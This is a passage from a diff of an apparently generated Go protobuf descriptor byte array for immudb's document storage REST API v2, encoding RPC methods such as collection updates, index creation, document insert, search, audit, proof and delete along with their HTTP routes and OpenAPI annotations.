0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, + 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x92, 0x41, 0x0d, 0x0a, 0x0b, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x18, 0x3a, 0x01, 0x2a, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, - 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x92, + 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x14, 0x3a, 0x01, 0x2a, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x63, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x14, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, - 0x78, 0x65, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x97, 0x01, - 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x92, 0x41, 0x09, 0x0a, 0x07, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x3a, 0x01, 0x2a, + 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, - 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x6d, 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, - 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, - 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x97, 0x01, 0x0a, 0x12, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, + 0x6e, 0x79, 0x12, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x1a, 0x15, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x6d, 0x61, 0x6e, 0x79, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, - 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, - 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, - 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, - 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, - 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, - 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, - 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, - 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, - 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x33, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x22, 0x11, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, + 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, + 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x92, + 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x3a, 0x01, 0x2a, 0x22, 0x10, 0x2f, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, + 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x92, 0x41, 0x0b, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, + 0x3a, 0x01, 0x2a, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x1a, 0x11, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x42, + 0xb0, 0x01, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, + 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, + 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, + 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, + 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, + 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, + 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, + 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, + 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var 